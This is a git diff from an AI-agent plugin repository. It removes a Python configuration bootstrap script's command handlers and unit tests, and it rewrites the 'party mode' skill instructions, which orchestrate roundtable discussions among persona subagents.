-            print(json.dumps({
-                'status': 'core_missing',
-                'project_root': str(project_root),
-                'core_module': core_module,
-            }, indent=2))
-        return
-
-    # Module requested — check if its config exists
-    module_config = load_module_config(module_code, project_root)
-    if module_config is not None:
-        print(json.dumps({'status': 'ready', 'project_root': str(project_root)}, indent=2))
-        return
-
-    # Module config missing — find its module.yaml for questions
-    target_yaml_path = find_target_module_yaml(
-        module_code, project_root, skill_path=args.skill_path
-    )
-    target_module = load_module_yaml(target_yaml_path) if target_yaml_path else None
-
-    result = {
-        'project_root': str(project_root),
-    }
-
-    if not core_exists:
-        result['status'] = 'core_missing'
-        core_yaml_path = find_core_module_yaml()
-        result['core_module'] = load_module_yaml(core_yaml_path) if core_yaml_path.exists() else None
-    else:
-        result['status'] = 'module_missing'
-        result['core_vars'] = core_config
-
-    result['target_module'] = target_module
-    if target_yaml_path:
-        result['target_module_yaml_path'] = str(target_yaml_path)
-
-    print(json.dumps(result, indent=2))
-
-
-# =============================================================================
-# Resolve Defaults Command
-# =============================================================================
-
-def cmd_resolve_defaults(args):
-    """Given core answers, resolve a module's variable defaults."""
-    project_root = find_project_root(llm_provided=args.project_root)
-    if not project_root:
-        print(json.dumps({'error': 'Project root not found'}), file=sys.stderr)
-        sys.exit(1)
-
-    try:
-        core_answers = json.loads(args.core_answers)
-    except json.JSONDecodeError as e:
-        print(json.dumps({'error': f'Invalid JSON in --core-answers: {e}'}),
-              file=sys.stderr)
-        sys.exit(1)
-
-    # Build context for template expansion
-    context = {
-        'project-root': str(project_root),
-        'directory_name': Path(project_root).name,
-    }
-    context.update(core_answers)
-
-    # Find and load the module's module.yaml
-    module_code = args.module
-    target_yaml_path = find_target_module_yaml(
-        module_code, project_root, skill_path=args.skill_path
-    )
-    if not target_yaml_path:
-        print(json.dumps({'error': f'No module.yaml found for module: {module_code}'}),
-              file=sys.stderr)
-        sys.exit(1)
-
-    module_def = load_module_yaml(target_yaml_path)
-    if not module_def:
-        print(json.dumps({'error': f'Failed to parse module.yaml at: {target_yaml_path}'}),
-              file=sys.stderr)
-        sys.exit(1)
-
-    # Resolve defaults in each variable
-    resolved_vars = {}
-    for var_name, var_def in module_def['variables'].items():
-        default = var_def.get('default', '')
-        resolved_default = expand_template(str(default), context)
-        resolved_vars[var_name] = dict(var_def)
-        resolved_vars[var_name]['default'] = resolved_default
-
-    result = {
-        'module_code': module_code,
-        'meta': module_def['meta'],
-        'variables': resolved_vars,
-        'directories': module_def['directories'],
-    }
-    print(json.dumps(result, indent=2))
-
-
-# =============================================================================
-# Write Command
-# =============================================================================
-
-def cmd_write(args):
-    """Write config files from answered questions."""
-    project_root = find_project_root(llm_provided=args.project_root)
-    if not project_root:
-        if args.project_root:
-            project_root = Path(args.project_root)
-        else:
-            print(json.dumps({'error': 'Project root not found and --project-root not provided'}),
-                  file=sys.stderr)
-            sys.exit(1)
-
-    project_root = Path(project_root)
-
-    try:
-        answers = json.loads(args.answers)
-    except json.JSONDecodeError as e:
-        print(json.dumps({'error': f'Invalid JSON in --answers: {e}'}),
-              file=sys.stderr)
-        sys.exit(1)
-
-    context = {
-        'project-root': str(project_root),
-        'directory_name': project_root.name,
-    }
-
-    # Load module.yaml definitions to get result templates
-    core_yaml_path = find_core_module_yaml()
-    core_def = load_module_yaml(core_yaml_path) if core_yaml_path.exists() else None
-
-    files_written = []
-    dirs_created = []
-
-    # Process core answers first (needed for module config expansion)
-    core_answers_raw = answers.get('core', {})
-    core_config = {}
-
-    if core_answers_raw and core_def:
-        for var_name, raw_value in core_answers_raw.items():
-            var_def = core_def['variables'].get(var_name, {})
-            expanded = apply_result_template(var_def, raw_value, context)
-            core_config[var_name] = expanded
-
-        # Write core config
-        core_dir = project_root / '_bmad' / 'core'
-        core_dir.mkdir(parents=True, exist_ok=True)
-        core_config_path = core_dir / 'config.yaml'
-
-        # Merge with existing if present
-        existing = load_config_file(core_config_path) or {}
-        existing.update(core_config)
-
-        _write_config_file(core_config_path, existing, 'CORE')
-        files_written.append(str(core_config_path))
-    elif core_answers_raw:
-        # No core_def available — write raw values
-        core_config = dict(core_answers_raw)
-        core_dir = project_root / '_bmad' / 'core'
-        core_dir.mkdir(parents=True, exist_ok=True)
-        core_config_path = core_dir / 'config.yaml'
-        existing = load_config_file(core_config_path) or {}
-        existing.update(core_config)
-        _write_config_file(core_config_path, existing, 'CORE')
-        files_written.append(str(core_config_path))
-
-    # Update context with resolved core values for module expansion
-    context.update(core_config)
-
-    # Process module answers
-    for module_code, module_answers_raw in answers.items():
-        if module_code == 'core':
-            continue
-
-        # Find module.yaml for result templates
-        target_yaml_path = find_target_module_yaml(
-            module_code, project_root, skill_path=args.skill_path
-        )
-        module_def = load_module_yaml(target_yaml_path) if target_yaml_path else None
-
-        # Build module config: start with core values, then add module values
-        # Re-read core config to get the latest (may have been updated above)
-        latest_core = load_module_config('core', project_root) or core_config
-        module_config = dict(latest_core)
-
-        for var_name, raw_value in module_answers_raw.items():
-            if module_def:
-                var_def = module_def['variables'].get(var_name, {})
-                expanded = apply_result_template(var_def, raw_value, context)
-            else:
-                expanded = raw_value
-            module_config[var_name] = expanded
-            context[var_name] = expanded  # Available for subsequent template expansion
-
-        # Write module config
-        module_dir = project_root / '_bmad' / module_code
-        module_dir.mkdir(parents=True, exist_ok=True)
-        module_config_path = module_dir / 'config.yaml'
-
-        existing = load_config_file(module_config_path) or {}
-        existing.update(module_config)
-
-        module_name = module_def['meta'].get('name', module_code.upper()) if module_def else module_code.upper()
-        _write_config_file(module_config_path, existing, module_name)
-        files_written.append(str(module_config_path))
-
-        # Create directories declared in module.yaml
-        if module_def and module_def.get('directories'):
-            for dir_template in module_def['directories']:
-                dir_path = expand_template(dir_template, context)
-                if dir_path:
-                    Path(dir_path).mkdir(parents=True, exist_ok=True)
-                    dirs_created.append(dir_path)
-
-    result = {
-        'status': 'written',
-        'files_written': files_written,
-        'dirs_created': dirs_created,
-    }
-    print(json.dumps(result, indent=2))
-
-
-def _write_config_file(path, data, module_label):
-    """Write a config YAML file with a header comment."""
-    from datetime import datetime, timezone
-    with open(path, 'w', encoding='utf-8') as f:
-        f.write(f'# {module_label} Module Configuration\n')
-        f.write(f'# Generated by bmad-init\n')
-        f.write(f'# Date: {datetime.now(timezone.utc).isoformat()}\n\n')
-        yaml.safe_dump(data, f, default_flow_style=False, allow_unicode=True, sort_keys=False)
-
-
-# =============================================================================
-# CLI Entry Point
-# =============================================================================
-
-def main():
-    parser = argparse.ArgumentParser(
-        description='BMad Init — Project configuration bootstrap and config loader.'
-    )
-    subparsers = parser.add_subparsers(dest='command')
-
-    # --- load ---
-    load_parser = subparsers.add_parser('load', help='Load config vars (fast path)')
-    load_parser.add_argument('--module', help='Module code (omit for core only)')
-    load_parser.add_argument('--vars', help='Comma-separated vars with optional defaults')
-    load_parser.add_argument('--all', action='store_true', help='Return all config vars')
-    load_parser.add_argument('--project-root', help='Project root path')
-
-    # --- check ---
-    check_parser = subparsers.add_parser('check', help='Check if init is needed')
-    check_parser.add_argument('--module', help='Module code to check (optional)')
-    check_parser.add_argument('--skill-path', help='Path to the calling skill folder')
-    check_parser.add_argument('--project-root', help='Project root path')
-
-    # --- resolve-defaults ---
-    resolve_parser = subparsers.add_parser('resolve-defaults',
-                                           help='Resolve module defaults given core answers')
-    resolve_parser.add_argument('--module', required=True, help='Module code')
-    resolve_parser.add_argument('--core-answers', required=True, help='JSON string of core answers')
-    resolve_parser.add_argument('--skill-path', help='Path to calling skill folder')
-    resolve_parser.add_argument('--project-root', help='Project root path')
-
-    # --- write ---
-    write_parser = subparsers.add_parser('write', help='Write config files')
-    write_parser.add_argument('--answers', required=True, help='JSON string of all answers')
-    write_parser.add_argument('--skill-path', help='Path to calling skill (for module.yaml lookup)')
-    write_parser.add_argument('--project-root', help='Project root path')
-
-    args = parser.parse_args()
-    if args.command is None:
-        parser.print_help()
-        sys.exit(1)
-
-    commands = {
-        'load': cmd_load,
-        'check': cmd_check,
-        'resolve-defaults': cmd_resolve_defaults,
-        'write': cmd_write,
-    }
-
-    handler = commands.get(args.command)
-    if handler:
-        handler(args)
-    else:
-        parser.print_help()
-        sys.exit(1)
-
-
-if __name__ == '__main__':
-    main()
diff --git a/plugins/bmad/skills/bmad-init/scripts/tests/test_bmad_init.py b/plugins/bmad/skills/bmad-init/scripts/tests/test_bmad_init.py
deleted file mode 100644
index 32e07ef..0000000
--- a/plugins/bmad/skills/bmad-init/scripts/tests/test_bmad_init.py
+++ /dev/null
@@ -1,329 +0,0 @@
-# /// script
-# requires-python = ">=3.10"
-# dependencies = ["pyyaml"]
-# ///
-
-#!/usr/bin/env python3
-"""Unit tests for bmad_init.py"""
-
-import json
-import os
-import shutil
-import sys
-import tempfile
-import unittest
-from pathlib import Path
-
-sys.path.insert(0, str(Path(__file__).parent.parent))
-
-from bmad_init import (
-    find_project_root,
-    parse_var_specs,
-    resolve_project_root_placeholder,
-    expand_template,
-    apply_result_template,
-    load_module_yaml,
-    find_core_module_yaml,
-    find_target_module_yaml,
-    load_config_file,
-    load_module_config,
-)
-
-
-class TestFindProjectRoot(unittest.TestCase):
-
-    def test_finds_bmad_folder(self):
-        temp_dir = tempfile.mkdtemp()
-        try:
-            (Path(temp_dir) / '_bmad').mkdir()
-            original_cwd = os.getcwd()
-            try:
-                os.chdir(temp_dir)
-                result = find_project_root()
-                self.assertEqual(result.resolve(), Path(temp_dir).resolve())
-            finally:
-                os.chdir(original_cwd)
-        finally:
-            shutil.rmtree(temp_dir)
-
-    def test_llm_provided_with_bmad(self):
-        temp_dir = tempfile.mkdtemp()
-        try:
-            (Path(temp_dir) / '_bmad').mkdir()
-            result = find_project_root(llm_provided=temp_dir)
-            self.assertEqual(result.resolve(), Path(temp_dir).resolve())
-        finally:
-            shutil.rmtree(temp_dir)
-
-    def test_llm_provided_without_bmad_still_returns_dir(self):
-        """First-run case: LLM provides path but _bmad doesn't exist yet."""
-        temp_dir = tempfile.mkdtemp()
-        try:
-            result = find_project_root(llm_provided=temp_dir)
-            self.assertEqual(result.resolve(), Path(temp_dir).resolve())
-        finally:
-            shutil.rmtree(temp_dir)
-
-
-class TestParseVarSpecs(unittest.TestCase):
-
-    def test_vars_with_defaults(self):
-        specs = parse_var_specs('var1:value1,var2:value2')
-        self.assertEqual(len(specs), 2)
-        self.assertEqual(specs[0]['name'], 'var1')
-        self.assertEqual(specs[0]['default'], 'value1')
-
-    def test_vars_without_defaults(self):
-        specs = parse_var_specs('var1,var2')
-        self.assertEqual(len(specs), 2)
-        self.assertIsNone(specs[0]['default'])
-
-    def test_mixed_vars(self):
-        specs = parse_var_specs('required_var,var2:default2')
-        self.assertIsNone(specs[0]['default'])
-        self.assertEqual(specs[1]['default'], 'default2')
-
-    def test_colon_in_default(self):
-        specs = parse_var_specs('path:{project-root}/some/path')
-        self.assertEqual(specs[0]['default'], '{project-root}/some/path')
-
-    def test_empty_string(self):
-        self.assertEqual(parse_var_specs(''), [])
-
-    def test_none(self):
-        self.assertEqual(parse_var_specs(None), [])
-
-
-class TestResolveProjectRootPlaceholder(unittest.TestCase):
-
-    def test_resolve_placeholder(self):
-        result = resolve_project_root_placeholder('{project-root}/output', Path('/test'))
-        self.assertEqual(result, '/test/output')
-
-    def test_no_placeholder(self):
-        result = resolve_project_root_placeholder('/absolute/path', Path('/test'))
-        self.assertEqual(result, '/absolute/path')
-
-    def test_none(self):
-        self.assertIsNone(resolve_project_root_placeholder(None, Path('/test')))
-
-    def test_non_string(self):
-        self.assertEqual(resolve_project_root_placeholder(42, Path('/test')), 42)
-
-
-class TestExpandTemplate(unittest.TestCase):
-
-    def test_basic_expansion(self):
-        result = expand_template('{project-root}/output', {'project-root': '/test'})
-        self.assertEqual(result, '/test/output')
-
-    def test_multiple_placeholders(self):
-        result = expand_template(
-            '{output_folder}/planning',
-            {'output_folder': '_bmad-output', 'project-root': '/test'}
-        )
-        self.assertEqual(result, '_bmad-output/planning')
-
-    def test_none_value(self):
-        self.assertIsNone(expand_template(None, {}))
-
-    def test_non_string(self):
-        self.assertEqual(expand_template(42, {}), 42)
-
-
-class TestApplyResultTemplate(unittest.TestCase):
-
-    def test_with_result_template(self):
-        var_def = {'result': '{project-root}/{value}'}
-        result = apply_result_template(var_def, '_bmad-output', {'project-root': '/test'})
-        self.assertEqual(result, '/test/_bmad-output')
-
-    def test_without_result_template(self):
-        result = apply_result_template({}, 'raw_value', {})
-        self.assertEqual(result, 'raw_value')
-
-    def test_value_only_template(self):
-        var_def = {'result': '{value}'}
-        result = apply_result_template(var_def, 'English', {})
-        self.assertEqual(result, 'English')
-
-
-class TestLoadModuleYaml(unittest.TestCase):
-
-    def setUp(self):
-        self.temp_dir = tempfile.mkdtemp()
-
-    def tearDown(self):
-        shutil.rmtree(self.temp_dir)
-
-    def test_loads_core_module_yaml(self):
-        path = Path(self.temp_dir) / 'module.yaml'
-        path.write_text(
-            'code: core\n'
-            'name: "BMad Core Module"\n'
-            'header: "Core Config"\n'
-            'user_name:\n'
-            '  prompt: "What should agents call you?"\n'
-            '  default: "BMad"\n'
-            '  result: "{value}"\n'
-        )
-        result = load_module_yaml(path)
-        self.assertIsNotNone(result)
-        self.assertEqual(result['meta']['code'], 'core')
-        self.assertEqual(result['meta']['name'], 'BMad Core Module')
-        self.assertIn('user_name', result['variables'])
-        self.assertEqual(result['variables']['user_name']['prompt'], 'What should agents call you?')
-
-    def test_loads_module_with_directories(self):
-        path = Path(self.temp_dir) / 'module.yaml'
-        path.write_text(
-            'code: bmm\n'
-            'name: "BMad Method"\n'
-            'project_name:\n'
-            '  prompt: "Project name?"\n'
-            '  default: "{directory_name}"\n'
-            '  result: "{value}"\n'
-            'directories:\n'
-            '  - "{planning_artifacts}"\n'
-        )
-        result = load_module_yaml(path)
-        self.assertEqual(result['directories'], ['{planning_artifacts}'])
-
-    def test_returns_none_for_missing(self):
-        result = load_module_yaml(Path(self.temp_dir) / 'nonexistent.yaml')
-        self.assertIsNone(result)
-
-    def test_returns_none_for_empty(self):
-        path = Path(self.temp_dir) / 'empty.yaml'
-        path.write_text('')
-        result = load_module_yaml(path)
-        self.assertIsNone(result)
-
-
-class TestFindCoreModuleYaml(unittest.TestCase):
-
-    def test_returns_path_to_resources(self):
-        path = find_core_module_yaml()
-        self.assertTrue(str(path).endswith('resources/core-module.yaml'))
-
-
-class TestFindTargetModuleYaml(unittest.TestCase):
-
-    def setUp(self):
-        self.temp_dir = tempfile.mkdtemp()
-        self.project_root = Path(self.temp_dir)
-
-    def tearDown(self):
-        shutil.rmtree(self.temp_dir)
-
-    def test_finds_in_skill_assets(self):
-        skill_path = self.project_root / 'skills' / 'test-skill'
-        assets = skill_path / 'assets'
-        assets.mkdir(parents=True)
-        (assets / 'module.yaml').write_text('code: test\n')
-
-        result = find_target_module_yaml('test', self.project_root, str(skill_path))
-        self.assertIsNotNone(result)
-        self.assertTrue(str(result).endswith('assets/module.yaml'))
-
-    def test_finds_in_skill_root(self):
-        skill_path = self.project_root / 'skills' / 'test-skill'
-        skill_path.mkdir(parents=True)
-        (skill_path / 'module.yaml').write_text('code: test\n')
-
-        result = find_target_module_yaml('test', self.project_root, str(skill_path))
-        self.assertIsNotNone(result)
-
-    def test_finds_in_bmad_module_dir(self):
-        module_dir = self.project_root / '_bmad' / 'mymod'
-        module_dir.mkdir(parents=True)
-        (module_dir / 'module.yaml').write_text('code: mymod\n')
-
-        result = find_target_module_yaml('mymod', self.project_root)
-        self.assertIsNotNone(result)
-
-    def test_returns_none_when_not_found(self):
-        result = find_target_module_yaml('missing', self.project_root)
-        self.assertIsNone(result)
-
-    def test_skill_path_takes_priority(self):
-        """Skill assets module.yaml takes priority over _bmad/{module}/."""
-        skill_path = self.project_root / 'skills' / 'test-skill'
-        assets = skill_path / 'assets'
-        assets.mkdir(parents=True)
-        (assets / 'module.yaml').write_text('code: test\nname: from-skill\n')
-
-        module_dir = self.project_root / '_bmad' / 'test'
-        module_dir.mkdir(parents=True)
-        (module_dir / 'module.yaml').write_text('code: test\nname: from-bmad\n')
-
-        result = find_target_module_yaml('test', self.project_root, str(skill_path))
-        self.assertTrue('assets' in str(result))
-
-
-class TestLoadConfigFile(unittest.TestCase):
-
-    def setUp(self):
-        self.temp_dir = tempfile.mkdtemp()
-
-    def tearDown(self):
-        shutil.rmtree(self.temp_dir)
-
-    def test_loads_flat_yaml(self):
-        path = Path(self.temp_dir) / 'config.yaml'
-        path.write_text('user_name: Test\ncommunication_language: English\n')
-        result = load_config_file(path)
-        self.assertEqual(result['user_name'], 'Test')
-
-    def test_returns_none_for_missing(self):
-        result = load_config_file(Path(self.temp_dir) / 'missing.yaml')
-        self.assertIsNone(result)
-
-
-class TestLoadModuleConfig(unittest.TestCase):
-
-    def setUp(self):
-        self.temp_dir = tempfile.mkdtemp()
-        self.project_root = Path(self.temp_dir)
-        bmad_core = self.project_root / '_bmad' / 'core'
-        bmad_core.mkdir(parents=True)
-        (bmad_core / 'config.yaml').write_text(
-            'user_name: TestUser\n'
-            'communication_language: English\n'
-            'document_output_language: English\n'
-            'output_folder: "{project-root}/_bmad-output"\n'
-        )
-        bmad_bmb = self.project_root / '_bmad' / 'bmb'
-        bmad_bmb.mkdir(parents=True)
-        (bmad_bmb / 'config.yaml').write_text(
-            'user_name: TestUser\n'
-            'communication_language: English\n'
-            'document_output_language: English\n'
-            'output_folder: "{project-root}/_bmad-output"\n'
-            'bmad_builder_output_folder: "{project-root}/_bmad-output/skills"\n'
-            'bmad_builder_reports: "{project-root}/_bmad-output/reports"\n'
-        )
-
-    def tearDown(self):
-        shutil.rmtree(self.temp_dir)
-
-    def test_load_core(self):
-        result = load_module_config('core', self.project_root)
-        self.assertIsNotNone(result)
-        self.assertEqual(result['user_name'], 'TestUser')
-
-    def test_load_module_includes_core_vars(self):
-        result = load_module_config('bmb', self.project_root)
-        self.assertIsNotNone(result)
-        # Module-specific var
-        self.assertIn('bmad_builder_output_folder', result)
-        # Core vars also present
-        self.assertEqual(result['user_name'], 'TestUser')
-
-    def test_missing_module(self):
-        result = load_module_config('nonexistent', self.project_root)
-        self.assertIsNone(result)
-
-
-if __name__ == '__main__':
-    unittest.main()
diff --git a/plugins/bmad/skills/bmad-party-mode/SKILL.md b/plugins/bmad/skills/bmad-party-mode/SKILL.md
index 8fb3d9a..8367e29 100644
--- a/plugins/bmad/skills/bmad-party-mode/SKILL.md
+++ b/plugins/bmad/skills/bmad-party-mode/SKILL.md
@@ -1,6 +1,125 @@
 ---
 name: bmad-party-mode
-description: 'Orchestrates group discussions between all installed BMAD agents, enabling natural multi-agent conversations. Use when user requests party mode.'
+description: 'Orchestrates group discussions between installed BMAD agents, enabling natural multi-agent conversations where each agent is a real subagent with independent thinking. Use when user requests party mode, wants multiple agent perspectives, group discussion, roundtable, or multi-agent conversation about their project.'
 ---
 
-Follow the instructions in ./workflow.md.
+# Party Mode
+
+Facilitate roundtable discussions where BMAD agents participate as **real subagents** — each spawned independently via the Agent tool so they think for themselves. You are the orchestrator: you pick voices, build context, spawn agents, and present their responses. In the default subagent mode, never generate agent responses yourself — that's the whole point. In `--solo` mode, you roleplay all agents directly.
+
+## Why This Matters
+
+The whole point of party mode is that each agent produces a genuinely independent perspective. When one LLM roleplays multiple characters, the "opinions" tend to converge and feel performative. By spawning each agent as its own subagent process, you get real diversity of thought — agents that actually disagree, catch things the others miss, and bring their authentic expertise to bear.
+
+## Arguments
+
+Party mode accepts optional arguments when invoked:
+
+- `--model <model>` — Force all subagents to use a specific model (e.g. `--model haiku`, `--model opus`). When omitted, choose the model that fits the round: use a faster model (like `haiku`) for brief or reactive responses, and the default model for deep or complex topics. Match model weight to the depth of thinking the round requires.
+- `--solo` — Run without subagents. Instead of spawning independent agents, roleplay all selected agents yourself in a single response. This is useful when subagents aren't available, when speed matters more than independence, or when the user just prefers it. Announce solo mode on activation so the user knows responses come from one LLM.
+
+## On Activation
+
+1. **Parse arguments** — check for `--model` and `--solo` flags from the user's invocation.
+
+2. Load config from `.claude/bmad.local.md` and resolve:
+  - Use `{user_name}` for greeting
+  - Use `{communication_language}` for all communications
+
+3. **Read the agent manifest** at `${CLAUDE_PLUGIN_ROOT}/_shared/agent-manifest.csv`. Build an internal roster of available agents with their displayName, title, icon, role, identity, communicationStyle, and principles.
+
+4. **Load project context** — search for `**/project-context.md`. If found, hold it as background context that gets passed to agents when relevant.
+
+5. **Welcome the user** — briefly introduce party mode (mention if solo mode is active). Show the full agent roster (icon + name + one-line role) so the user knows who's available. Ask what they'd like to discuss.
+
+## The Core Loop
+
+For each user message:
+
+### 1. Pick the Right Voices
+
+Choose 2-4 agents whose expertise is most relevant to what the user is asking. Use your judgment — you know each agent's role and identity from the manifest. Some guidelines:
+
+- **Simple question**: 2 agents with the most relevant expertise
+- **Complex or cross-cutting topic**: 3-4 agents from different domains
+- **User names specific agents**: Always include those, plus 1-2 complementary voices
+- **User asks an agent to respond to another**: Spawn just that agent with the other's response as context
+- **Rotate over time** — avoid the same 2 agents dominating every round
+
+### 2. Build Context and Spawn
+
+For each selected agent, spawn a subagent using the Agent tool. Each subagent gets:
+
+**The agent prompt** (built from the manifest data):
+```
+You are {displayName} ({title}), a BMAD agent in a collaborative roundtable discussion.
+
+## Your Persona
+- Icon: {icon}
+- Communication Style: {communicationStyle}
+- Principles: {principles}
+- Identity: {identity}
+
+## Discussion Context
+{summary of the conversation so far — keep under 400 words}
+
+{project context if relevant}
+
+## What Other Agents Said This Round
+{if this is a cross-talk or reaction request, include the responses being reacted to — otherwise omit this section}
+
+## The User's Message
+{the user's actual message}
+
+## Guidelines
+- Respond authentically as {displayName}. Your perspective should reflect your genuine expertise.
+- Start your response with: {icon} **{displayName}:**
+- Speak in {communication_language}.
+- Scale your response to the substance — don't pad. If you have a brief point, make it briefly.
+- Disagree with other agents when your expertise tells you to. Don't hedge or be polite about it.
+- If you have nothing substantive to add, say so in one sentence rather than manufacturing an opinion.
+- You may ask the user direct questions if something needs clarification.
+- Do NOT use tools. Just respond with your perspective.
+```
+
+**Spawn all agents in parallel** — put all Agent tool calls in a single response so they run concurrently. If `--model` was specified, use that model for all subagents. Otherwise, pick the model that matches the round — faster/cheaper models for brief takes, the default for substantive analysis.
+
+**Solo mode** — if `--solo` is active, skip spawning. Instead, generate all agent responses yourself in a single message, staying faithful to each agent's persona. Keep responses clearly separated with each agent's icon and name header.
+
+### 3. Present Responses
+
+Present each agent's full response to the user — distinct, complete, and in their own voice. The user is here to hear the agents speak, not to read your synthesis of what they think. Whether the responses came from subagents or you generated them in solo mode, the rule is the same: each agent's perspective gets its own unabridged section. Never blend, paraphrase, or condense agent responses into a summary.
+
+The format is simple: each agent's response one after another, separated by a blank line. No introductions, no "here's what they said", no framing — just the responses themselves.
+
+After all agent responses are presented in full, you may optionally add a brief **Orchestrator Note** — flagging a disagreement worth exploring, or suggesting an agent to bring in next round. Keep this short and clearly labeled so it's not confused with agent speech.
+
+### 4. Handle Follow-ups
+
+The user drives what happens next. Common patterns:
+
+| User says... | You do... |
+|---|---|
+| Continues the general discussion | Pick fresh agents, repeat the loop |
+| "Winston, what do you think about what Sally said?" | Spawn just Winston with Sally's response as context |
+| "Bring in Amelia on this" | Spawn Amelia with a summary of the discussion so far |
+| "I agree with John, let's go deeper on that" | Spawn John + 1-2 others to expand on John's point |
+| "What would Mary and Amelia think about Winston's approach?" | Spawn Mary and Amelia with Winston's response as context |
+| Asks a question directed at everyone | Back to step 1 with all agents |
+
+The key insight: you can spawn any combination at any time. One agent, two agents reacting to a third, the whole roster — whatever serves the conversation. Each spawn is cheap and independent.
+
+## Keeping Context Manageable
+
+As the conversation grows, you'll need to summarize prior rounds rather than passing the full transcript to each subagent. Aim to keep the "Discussion Context" section under 400 words — a tight summary of what's been discussed, what positions agents have taken, and what the user seems to be driving toward. Update this summary every 2-3 rounds or when the topic shifts significantly.
+
+## When Things Go Sideways
+
+- **Agents are all saying the same thing**: Bring in a contrarian voice, or ask a specific agent to play devil's advocate by framing the prompt that way.
+- **Discussion is going in circles**: Summarize the impasse and ask the user what angle they want to explore next.
+- **User seems disengaged**: Ask directly — continue, change topic, or wrap up?
+- **Agent gives a weak response**: Don't retry. Present it and let the user decide if they want more from that agent.
+
+## Exit
+
+When the user says they're done (any natural phrasing — "thanks", "that's all", "end party mode", etc.), give a brief wrap-up of the key takeaways from the discussion and return to normal mode. Don't force exit triggers — just read the room.
diff --git a/plugins/bmad/skills/bmad-party-mode/steps/step-01-agent-loading.md b/plugins/bmad/skills/bmad-party-mode/steps/step-01-agent-loading.md
deleted file mode 100644
index 6544783..0000000
--- a/plugins/bmad/skills/bmad-party-mode/steps/step-01-agent-loading.md
+++ /dev/null
@@ -1,138 +0,0 @@
-# Step 1: Agent Loading and Party Mode Initialization
-
-## MANDATORY EXECUTION RULES (READ FIRST):
-
-- ✅ YOU ARE A PARTY MODE FACILITATOR, not just a workflow executor
-- 🎯 CREATE ENGAGING ATMOSPHERE for multi-agent collaboration
-- 📋 LOAD COMPLETE AGENT ROSTER from manifest with merged personalities
-- 🔍 PARSE AGENT DATA for conversation orchestration
-- 💬 INTRODUCE DIVERSE AGENT SAMPLE to kick off discussion
-- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
-
-## EXECUTION PROTOCOLS:
-
-- 🎯 Show agent loading process before presenting party activation
-- ⚠️ Present [C] continue option after agent roster is loaded
-- 💾 ONLY save when user chooses C (Continue)
-- 📖 Update frontmatter `stepsCompleted: [1]` before loading next step
-- 🚫 FORBIDDEN to start conversation until C is selected
-
-## CONTEXT BOUNDARIES:
-
-- Agent manifest CSV is available at `${CLAUDE_PLUGIN_ROOT}/_shared/agent-manifest.csv`
-- User configuration from config.yaml is loaded and resolved
-- Party mode is standalone interactive workflow
-- All agent data is available for conversation orchestration
-
-## YOUR TASK:
-
-Load the complete agent roster from manifest and initialize party mode with engaging introduction.
-
-## AGENT LOADING SEQUENCE:
-
-### 1. Load Agent Manifest
-
-Begin agent loading process:
-
-"Now initializing **Party Mode** with our complete BMAD agent roster! Let me load up all our talented agents and get them ready for an amazing collaborative discussion.
-
-**Agent Manifest Loading:**"
-
-Load and parse the agent manifest CSV from `${CLAUDE_PLUGIN_ROOT}/_shared/agent-manifest.csv`
-
-### 2. Extract Agent Data
-
-Parse CSV to extract complete agent information for each entry:
-
-**Agent Data Points:**
-
-- **name** (agent identifier for system calls)
-- **displayName** (agent's persona name for conversations)
-- **title** (formal position and role description)
-- **icon** (visual identifier emoji)
-- **role** (capabilities and expertise summary)
-- **identity** (background and specialization details)
-- **communicationStyle** (how they communicate and express themselves)
-- **principles** (decision-making philosophy and values)
-- **module** (source module organization)
-- **path** (file location reference)
-
-### 3. Build Agent Roster
-
-Create complete agent roster with merged personalities:
-
-**Roster Building Process:**
-
-- Combine manifest data with agent file configurations
-- Merge personality traits, capabilities, and communication styles
-- Validate agent availability and configuration completeness
-- Organize agents by expertise domains for intelligent selection
-
-### 4. Party Mode Activation
-
-Generate enthusiastic party mode introduction:
-
-"🎉 PARTY MODE ACTIVATED! 🎉
-
-Welcome {{user_name}}! I'm excited to facilitate an incredible multi-agent discussion with our complete BMAD team. All our specialized agents are online and ready to collaborate, bringing their unique expertise and perspectives to whatever you'd like to explore.
-
-**Our Collaborating Agents Include:**
-
-[Display 3-4 diverse agents to showcase variety]:
-
-- [Icon Emoji] **[Agent Name]** ([Title]): [Brief role description]
-- [Icon Emoji] **[Agent Name]** ([Title]): [Brief role description]
-- [Icon Emoji] **[Agent Name]** ([Title]): [Brief role description]
-
-**[Total Count] agents** are ready to contribute their expertise!
-
-**What would you like to discuss with the team today?**"
-
-### 5. Present Continue Option
-
-After agent loading and introduction:
-
-"**Agent roster loaded successfully!** All our BMAD experts are excited to collaborate with you.
-
-**Ready to start the discussion?**
-[C] Continue - Begin multi-agent conversation
-
-### 6. Handle Continue Selection
-
-#### If 'C' (Continue):
-
-- Update frontmatter: `stepsCompleted: [1]`
-- Set `agents_loaded: true` and `party_active: true`
-- Load: `./step-02-discussion-orchestration.md`
-
-## SUCCESS METRICS:
-
-✅ Agent manifest successfully loaded and parsed
-✅ Complete agent roster built with merged personalities
-✅ Engaging party mode introduction created
-✅ Diverse agent sample showcased for user
-✅ [C] continue option presented and handled correctly
-✅ Frontmatter updated with agent loading status
-✅ Proper routing to discussion orchestration step
-
-## FAILURE MODES:
-
-❌ Failed to load or parse agent manifest CSV
-❌ Incomplete agent data extraction or roster building
-❌ Generic or unengaging party mode introduction
-❌ Not showcasing diverse agent capabilities
-❌ Not presenting [C] continue option after loading
-❌ Starting conversation without user selection
-
-## AGENT LOADING PROTOCOLS:
-
-- Validate CSV format and required columns
-- Handle missing or incomplete agent entries gracefully
-- Cross-reference manifest with actual agent files
-- Prepare agent selection logic for intelligent conversation routing
-
-## NEXT STEP:
-
-After user selects 'C', load `./step-02-discussion-orchestration.md` to begin the interactive multi-agent conversation with intelligent agent selection and natural conversation flow.
-
-Remember: Create an engaging, party-like atmosphere while maintaining professional expertise and intelligent conversation orchestration!
diff --git a/plugins/bmad/skills/bmad-party-mode/steps/step-02-discussion-orchestration.md b/plugins/bmad/skills/bmad-party-mode/steps/step-02-discussion-orchestration.md
deleted file mode 100644
index 361c193..0000000
--- a/plugins/bmad/skills/bmad-party-mode/steps/step-02-discussion-orchestration.md
+++ /dev/null
@@ -1,187 +0,0 @@
-# Step 2: Discussion Orchestration and Multi-Agent Conversation
-
-## MANDATORY EXECUTION RULES (READ FIRST):
-
-- ✅ YOU ARE A CONVERSATION ORCHESTRATOR, not just a response generator
-- 🎯 SELECT RELEVANT AGENTS based on topic analysis and expertise matching
